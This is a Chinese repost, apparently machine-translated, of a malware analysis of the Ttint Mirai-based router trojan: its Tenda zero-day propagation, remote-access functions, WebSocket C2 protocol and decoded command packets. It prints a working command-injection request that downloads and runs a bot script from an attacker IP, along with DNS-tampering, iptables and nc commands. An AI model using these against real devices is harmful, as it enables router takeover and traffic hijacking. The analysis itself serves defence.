websocket域名访问不了_Ttint:IoT远程访问木马通过2个0day传播

背景介绍

从2019年11月开始,360Netlab Anglerfish系统已使用两个Tenda路由器0天漏洞连续监视攻击者,以传播基于Mirai代码的远程访问木马(RAT)。

常规Mirai变体通常集中在DDoS上,但此变体有所不同。除了DDoS攻击外,它还实现了12种远程访问功能,例如用于路由器设备的Socket5代理,篡改路由器DNS,设置iptables,执行自定义系统命令。

另外,在C2通信级别,它使用WSS(基于TLS的WebSocket)协议。这样做可以在流量级别上规避典型的Mirai流量检测,并且还为C2提供安全的加密通信。

关于基础架构,攻击者首先使用Google云服务IP,然后切换到香港的托管服务提供商。当我们在DNSmon系统中查找网站证书,示例,域名和IP之后,我们能够看到更多的基础结构IP,示例和更多的C2域名。

零零天,路由器的12种远程访问功能,加密的流量协议和随处可见的基础结构IP。这个僵尸网络似乎并不是一个非常典型的参与者。

我们将此僵尸网络命名为Ttint。

0Day漏洞攻击

在2019年11月9日,我们检测到攻击者使用第一个Tenda路由器0天漏洞(CVE-2018-14558&CVE-2020-10987)传播了Ttint样本。值得注意的是,此漏洞直到2020年7月10日才被披露[ 1]。

GET /goform/setUsbUnload/.js?deviceName=A;cd%20/tmp%3Brm%20get.sh%3Bwget%20http%3A//34.92.139.186%3A5001/bot/get.sh%3Bchmod%20777%20get.sh%3B./get.sh HTTP/1.1Host: {target}Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.22.0

2020年8月21日,我们看到了第二个Tenda路由器0天漏洞被用来传播Ttint样本。

2020年8月28日,我们通过电子邮件向路由器制造商Tenda报告了第二个0天漏洞和PoC的详细信息,但制造商尚未做出回应。

0Day漏洞范围

我们发现以下Tenda路由器固件受到360 FirmwareTotal系统的影响。

US_AC9V1.0BR_V15.03.05.14_multi_TD01US_AC9V1.0BR_V15.03.05.16_multi_TRU01US_AC9V1.0BR_V15.03.2.10_multi_TD01US_AC9V1.0BR_V15.03.2.13_multi_TD01US_AC9V1.0BR_V15.03.2.13_multi_TDE01US_AC9V3.0RTL_V15.03.06.42_multi_TD01US_AC10UV1.0RTL_V15.03.06.48_multi_TDE01US_AC15V1.0BR_V15.03.05.18_multi_TD01US_AC15V1.0BR_V15.03.05.19_multi_TD01US_AC15V1.0BR_V15.03.1.8_EN_TDEUSUS_AC15V1.0BR_V15.03.1.10_EN_TDC+TDEUSUS_AC15V1.0BR_V15.03.1.10_EN_TDCTDEUSUS_AC15V1.0BR_V15.03.1.12_multi_TD01US_AC15V1.0BR_V15.03.1.16_multi_TD01US_AC15V1.0BR_V15.03.1.17_multi_TD01US_AC18V1.0BR_V15.03.05.05_multi_TD01US_AC18V1.0BR_V15.03.3.6_multi_TD01US_AC18V1.0BR_V15.03.3.10_multi_TD01ac9_kf_V15.03.05.19(6318_)_cnac18_kf_V15.03.05.19(6318_)_cn我们还查看了360 Quake网络空间测绘系统,结果如下

d13896756ec8699e7f996c192f2f5675.png

色彩概述

Ttint是基于Mirai代码的路由器设备的远程访问木马。除了多路传输10条Mirai DDoS攻击指令外,它还实现12条控制指令。

我们分析并比较了这两个时期的Ttint样本,发现它们的C2指令完全相同,但是它们在0Day漏洞,XOR密钥和使用的C2协议方面存在一些差异。

ad5a2d248e3bb6cc882dc4e7a3a4ed3f.png

逆向分析

一般来说,在主机级别,Ttint的行为相对简单。运行时,它将删除自己的文件,操纵看门狗,并防止设备重新启动,通过绑定端口,它作为单个实例运行。然后修改进程名称以使用户感到困惑;最后,它与解密的C2建立连接,报告设备信息,等待C2发出指令,并执行相应的攻击或自定义功能。

我们可以看到它保留了许多mirai功能,例如单实例,随机进程名称,敏感的配置信息加密,大量攻击向量的集成等;

尽管有一些变化,但最值得注意的是,它重写了网络通信部分以使用websocket协议。

让我们看一些自定义函数。

c580cb4e4bbc35afd306772f580a9947.png

Ttint v2样本分析

MD5:73ffd45ab46415b41831faee138f306e

ELF 32位LSB可执行文件,英特尔80386版本1(SYSV),静态链接,已剥离

Lib:uclib

Socket5代理

通过绑定C2发出的特定端口以启用Socket5代理服务。攻击者可以远程访问路由器的Intranet,进行Intranet漫游。

e035f76916ab42a3fd85f644ec854e9d.png

篡改路由器DNS

通过修改resolv.conf文件来篡改路由器DNS,

echo nameserver "DNS server" > /etc/etc/resolv.conf

这样的结果是,Ttint的作者可以劫持受影响的路由设备下用户的任何网络访问,从而有可能监视或窃取敏感信息。

配置iptables

通过设置iptables,可以轻松实现流量转发和目标地址转换。。以下配置用于将内部网络服务公开给公共网络。

iptables -t nat -A PREROUTING -d "" -p tcp --dport "" -j DNAT --to-destination ""iptables -t nat -A POSTROUTING -d "" -p tcp --dport "" -j SNAT ""iptables -A FORWARD -d -j ACCEPT

反壳

通过使用套接字实现反向外壳,Ttint的作者可以将受影响的路由设备的外壳作为本地外壳进行操作。

212238155a556f90aeb62f3c278d0a71.png

自我升级

该机器人可以从指定的下载URL(默认为uhyg8v.notepod2.com:5001)下载相应的CPU体系结构以进行自我更新。

37e6ad201954ba751becf7ce9b0cfd94.png

自我退出

Ttint通过绑定端口57322来实现单个实例,通过使用此端口终止进程,它可以退出。

ce79a0c0787954a47deda8ff3ff4b61c.png

隐藏的网络频道

通过使用nc工具监视C2发出的特定端口,可以在Ttint作者与受影响的路由设备之间建立通信。(-d参数的含义是“从stdin分离”,因此我们推测PORT后面有一个重定向指令)

nc -d -l "PORT" "some redirect cmd"

报告设备信息

向C2报告设备的时间,操作系统,cpu,ip,版本和mac信息,但是示例中的格式字符串中有一个错误,并且缺少“&”字符 type=back_infoatk_id=%s&time=&os=

执行系统命令

通过popen函数执行C2发出的自定义系统命令

961752ed73ec7c1b7be46d5d1c704f54.png

C2协议分析

Ttint Bot样本的C2信息被加密并以Mirai格式存储在配置信息表中。XOR键是0x0EDFCEBDA

c2 ciphertxt:51 19 55 56 56 45 59 50 49 62 0E 4E 4F 54 45 50 4F 44 12 0E 43 4F 4D 20c2 plaintxt:q9uvveypiB.notepod2.com

当漫游器运行时,它解密以获取C2地址ws:q9uvveypiB.notepod2.com:443,然后通过TLS协议上的WebSocket安全地与C2通信。

63820912adbfabd1c2e182c6cf4e8007.png

WebSocket协议

当Ttint C2以101的响应代码回复Bot时,表示协议握手已完成,然后Bot可以使用WebSocket协议进行通信。以下是TLS解密后的WebSocket数据包示例。

70042ae9324e9b52e4db274372ac1715.png

Bot的“上线”包

根据WebSocket协议,我们知道有效载荷长度为0x81,掩码为0xD5F39E67,有效载荷数据地址为0x08〜0x88。

00000000: 81 FE 00 81 D5 F3 9E 67  A1 8A EE 02 E8 91 FF 04  .......g........00000010: BE AC F7 09 B3 9C B8 06  A1 98 C1 0E B1 CE AE 41  ...............A00000020: A1 9A F3 02 E8 D5 F1 14  E8 BF F7 09 A0 8B BE 53  ...............S00000030: FB C2 AB 49 E5 DE AA 55  F8 94 FB 09 B0 81 F7 04  ...I...U........00000040: F3 90 EE 12 E8 9A A8 5F  E3 D5 F7 17 E8 C2 A7 55  ......._.......U00000050: FB C2 A8 5F FB C1 AC 55  FB C2 AC 5F F3 85 FB 15  ..._...U..._....00000060: A6 9A F1 09 E8 C6 FD 02  E5 91 A9 04 E7 D5 FF 15  ................00000070: B2 80 A3 41 B8 92 FD 5A  E5 C3 A4 57 B6 C9 AC 5E  ...A...Z...W...^00000080: EF C4 F8 5D E7 C7 A4 5E  E7           

使用掩码对有效载荷数据执行XOR计算,并以纯文本格式获得有效载荷,这正是Bot的“上线”数据包。

00000000  74 79 70 65 3d 62 61 63 6b 5f 69 6e 66 6f 26 61  |type=back_info&a|00000010  74 6b 5f 69 64 3d 30 26 74 69 6d 65 3d 26 6f 73  |tk_id=0&time=&os|00000020  3d 4c 69 6e 75 78 20 34 2e 31 35 2e 30 2d 34 32  |=Linux 4.15.0-42|00000030  2d 67 65 6e 65 72 69 63 26 63 70 75 3d 69 36 38  |-generic&cpu=i68|00000040  36 26 69 70 3d 31 39 32 2e 31 36 38 2e 32 32 32  |6&ip=192.168.222|00000050  2e 31 32 38 26 76 65 72 73 69 6f 6e 3d 35 63 65  |.128&version=5ce|00000060  30 62 37 63 32 26 61 72 67 73 3d 26 6d 61 63 3d  |0b7c2&args=&mac=|00000070  30 30 3a 30 63 3a 32 39 3a 37 66 3a 32 34 3a 39  |00:0c:29:7f:24:9|00000080  32     

C2指令

总体而言,Ttint Bot支持22种C2命令,其中10条来自Mirai的DDoS命令,其余12条是新的。

ID指令
0Attack_udp_generic
2Attack_udp_vse
2Attack_udp_dns
9Attack_udp_plain
3Attack_tcp_flag
4Attack_tcp_pack
5Attack_tcp_xmas
6Attack_grep_ip
7Attack_grep_eth
10Attack_app_http
12运行“ nc”命令
13运行“ ls”命令
15执行系统命令
16篡改路由器DNS
18报告设备信息
14配置iptables
11运行“ ifconfig”命令
17自我退出
19打开Socks5代理
20关闭Socks5代理
21自我升级
22反壳

C2命令格式分析

我们捕获了C2发送给机器人的以下命令。

00000000: 00 55 00 00 00 0A 0F 01  00 00 00 00 20 02 1A 13  .U.......... ...00000010: 70 70 2D 6C 4F 76 32 78  39 6E 31 33 58 73 5A 30  pp-lOv2x9n13XsZ000000020: 77 76 44 1B 30 69 70 74  61 62 6C 65 73 20 2D 44  wvD.0iptables -D00000030: 20 49 4E 50 55 54 20 2D  70 20 74 63 70 20 2D 2D   INPUT -p tcp --00000040: 64 70 6F 72 74 20 35 32  36 38 35 20 2D 6A 20 41  dport 52685 -j A00000050: 43 43 45 50 54                                    CCEPT

以下是格式的细分

00 55   ----   msg length0F  ----  cmd id, here is "run system cmd"02  ----   option number1A  ----  option type, here is "attack id"13  ----  option length, length of "pp-lOv2x9n13XsZ0wvD" = 0x131B  ----  option type, here is "attack cmd buf"30  ----  option length

一般来说,Ttint将结合多个自定义功能以实现特定的攻击目标。

采取我们捕获的两个相邻命令,第一个命令是

iptables -I INPUT -p tcp --dport 51599 -j ACCEPT,以允许访问受影响设备的端口51599。

00000000: 82 55 00 55 00 00 00 0A  0F 01 00 00 00 00 20 02  .U.U.......... .00000010: 1A 13 70 70 2D 51 77 76  73 59 59 45 45 4D 70 36  ..pp-QwvsYYEEMp600000020: 77 49 31 62 43 1B 30 69  70 74 61 62 6C 65 73 20  wI1bC.0iptables 00000030: 2D 49 20 49 4E 50 55 54  20 2D 70 20 74 63 70 20  -I INPUT -p tcp 00000040: 2D 2D 64 70 6F 72 74 20  35 31 35 39 39 20 2D 6A  --dport 51599 -j00000050: 20 41 43 43 45 50 54                               ACCEPT

下一条命令是在受影响的设备的端口51599上启用Socket5代理功能。

00000000: 82 3C 00 3C 00 00 00 0A  13 01 00 00 00 00 20 04  .<. .>00000010: 1C 05 35 31 35 39 39 1D  06 61 6D 68 78 65 66 1E  ..51599..amhxef.00000020: 08 64 40 61 59 79 31 39  52 1A 13 70 70 2D 30 58  .d@aYy19R..pp-0X00000030: 74 79 73 61 33 79 58 4D  51 59 6E 6C 41 72        tysa3yXMQYnlAr

这两个命令的组合启用并允许攻击者使用Socket5代理。

推荐建议

我们建议Tenda路由器用户检查其固件并进行必要的更新。

我们还建议我们的读者监视和阻止相关的IoC。

0071d01396647a789f578d8e0d0e6b11.gif

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值